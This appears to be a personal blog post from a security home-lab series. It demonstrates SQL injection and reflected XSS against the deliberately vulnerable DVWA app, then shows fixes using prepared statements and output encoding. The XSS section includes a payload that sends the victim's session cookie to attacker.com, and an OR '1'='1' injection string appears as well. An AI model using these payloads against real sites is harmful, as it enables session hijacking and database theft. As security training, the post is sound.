July 10, 2026
I Attacked a Vulnerable Web App and Then Fixed It — A Security Engineer’s Approach to OWASP Top 10
SQL Injection and Cross-Site Scripting: attack, analyze, and remediate.

By Houston Jones
3 min read
The Setup
As part of my ongoing cybersecurity home lab series I deployed DVWA — Damn Vulnerable Web Application — on Kali Linux to practice web application security from both the attacker and defender perspective. This is the same methodology a Security Engineer uses when assessing applications: find the vulnerability, understand why it exists, then implement the fix.
The two vulnerabilities covered in this assessment are SQL Injection and Cross-Site Scripting (XSS) — both consistently ranked in the OWASP Top 10 most critical web application security risks.
Phase 1 — Threat Modeling
Before touching a single tool I identified the threat landscape:
- Asset: A web application with a login page and MySQL database backend
- Attackers: External unauthenticated users, authenticated low-privilege users
- Threats: Database exposure via SQL injection, session hijacking via XSS, unauthorized data access
- Impact: Full database compromise, account takeover, credential theft
This threat modeling framework — asset, attacker, threat, impact — is the foundation of every security engineering engagement.
Vulnerability 1 — SQL Injection
The Attack
SQL Injection occurs when user input is passed directly into a database query without validation or sanitization. Instead of entering a normal User ID I injected this:
' OR '1'='1' OR '1'='1The database returned all 5 user records instead of just one. In a real environment this technique can expose every credential in the database, bypass authentication entirely, and in advanced cases execute operating system commands.
The Vulnerable Code
$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$id = $_REQUEST[ 'id' ];
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";The variable $id is taken directly from user input and dropped into the SQL query with zero protection. Whatever the user types becomes part of the database command.
The Fix — Prepared Statements
if(is_numeric( $id )) {
$id = intval($id);
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
if( $data->rowCount() == 1 ) { ... }
}if(is_numeric( $id )) {
$id = intval($id);
$data = $db->prepare('SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;');
$data->bindParam(':id', $id, PDO::PARAM_INT);
$data->execute();
if( $data->rowCount() == 1 ) { ... }
}Five layers of defense working together:
is_numeric()— rejects non-numeric input immediatelyintval()— forces integer type even if validation somehow failsprepare()— separates SQL structure from user data completelybindParam()— passes input as pure data, never as executable coderowCount() == 1— limits output even if all other layers fail
This is defense in depth — multiple independent controls so that if one fails the others still protect the system.
Vulnerability 2 — Cross-Site Scripting (XSS Reflected)
The Attack
XSS occurs when user input is displayed back on the page without being sanitized. The browser treats it as real code and executes it. Instead of entering a name I injected:
<script>alert('XSS')</script><script>alert('XSS')</script>
The browser executed the JavaScript and displayed the alert popup. In a real attack the payload would be:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script><script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>That single line silently sends the victim's session cookie to the attacker — instant account takeover without ever needing a password.
The Vulnerable Code
header ("X-XSS-Protection: 0");
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';header ("X-XSS-Protection: 0");
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';Two problems in two lines — the developer actively disabled the browser's built-in XSS protection, then dropped raw user input directly into the HTML output.
The Fix — Output Encoding
$name = htmlspecialchars( $_GET[ 'name' ] ); echo "
Hello {$name}";
htmlspecialchars() converts dangerous characters into harmless HTML entities:
- < becomes
< -
becomes
> - " becomes
"
So <script>alert('XSS')</script> displays as literal text instead of executing as code. The secure version also removes the line that disabled browser XSS protection and adds an Anti-CSRF token.
Key Takeaways
Both vulnerabilities share the same root cause: trusting user input. The fixes share the same principle: never trust user input.
SQL Injection is fixed at the data layer with prepared statements. XSS is fixed at the presentation layer with output encoding. Both should be implemented at the design phase — not bolted on after the fact. That is what secure by design means in practice.
OWASP Top 10 Mapping:
- SQL Injection — A03:2021 Injection
- XSS — A03:2021 Injection
Tools used: DVWA 2.5, Kali Linux, Firefox
Full assessment report: https://github.com/Hjones360/web-application-security-assessment/blob/main/DVWA_Security_Assessment.pdf
Follow along at medium.com/@agentjones